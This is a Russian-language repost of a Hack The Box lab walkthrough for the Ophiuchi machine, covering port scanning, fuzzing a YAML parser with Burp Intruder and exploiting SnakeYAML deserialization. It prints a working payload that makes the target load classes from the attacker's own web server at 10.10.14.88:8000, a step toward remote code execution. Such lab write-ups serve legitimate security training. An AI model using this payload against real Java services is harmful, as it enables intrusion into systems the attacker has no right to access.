Категория > Новости > HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»
HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM - «Новости»7-07-2021, 00:00. Автор: Людмила |
Hack The Box. На ее примере мы сначала попентестим SnakeYAML, а затем будем модифицировать приложение на Go, которое компилируется в WebAssembly.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем адрес машины в файл
10.10.10.227 ophiuchi.htb
И начинаем традиционно со сканирования портов. В этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а потом передаст знаменитому Nmap для сканирования со скриптами (просто укажем опцию -A).
rustscan 10.10.10.227 -- -A
Обнаруженные с помощью RustScan открытые портыСканирование NmapМы нашли две службы: SSH (порт 22) и веб‑сервер Apache Tomcat (порт 8080). На SSH сейчас можно только брутфорсить учетные данные, но это не комильфо, тем более при прохождении лабораторных машин. Поэтому нам остается искать точку входа на сайте. Точка входаПри переходе на сайт нас встретила форма парсера разметки YAML. Форма Online YAML Parser Типичная проблема любых парсеров — неправильная обработка служебных символов, которая может привести к уязвимостям. Чтобы проверить, нет ли здесь чего‑то подобного, отправим в форму ввода все печатаемые символы по очереди. Я буду делать это через Burp. Первым делом перехватим запрос в Burp и отправим его в Intruder. На вкладке Payload Position укажем тип атаки Sniper, изменим значение параметра Вкладка Payload Position Далее на вкладке Payload Options загрузим список печатаемых символов, к примеру этот, из набора словарей SecLists. И выполним перебор, нажав кнопку Start Attack. После завершения атаки сортируем результаты по столбцу Length так, чтобы сначала шли самые большие ответы. Вкладка Payload OptionsРезультат перебора символа Если отправлять обычные символы, то ответ всегда будет одинаковый.
Но в ответ на некоторые запросы мы получаем ошибки. Для нас это хорошо, так как сообщения могут раскрывать дополнительную информацию о целевом приложении, к примеру используемые технологии. И действительно: в тексте ошибки видим упоминание SnakeYAML, и, что более интересно, ошибка происходит в методе infoSnakeYAML — процессор разметки YAML для программ на Java. Текст ошибки, получаемой при отправке символа процента То есть в данном случае пользовательский ввод передается в метод Дальше я без труда нашел готовую нагрузку, которая эксплуатирует уязвимость в десериализации SnakeYAML (PDF). Смысл уязвимости в том, что мы можем спровоцировать загрузку класса со своего хоста. Давай отправим тестовую нагрузку и посмотрим на результат. Чтобы поймать отклик, запустим простой локальный веб‑сервер Python 3.
python3 -mhttp.server 8000
А теперь отправляем следующую нагрузку. После отправки в логах веб‑сервера увидим попытку загрузить файлы.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
Поиск описанных уязвимостей в Online YAML ParserВ окне браузера наблюдаем уже знакомое нам сообщение, а вот в логах веб‑сервера видим две записи, одна из которых — запрос Логи локального веб‑сервера Python Перейти обратно к новости |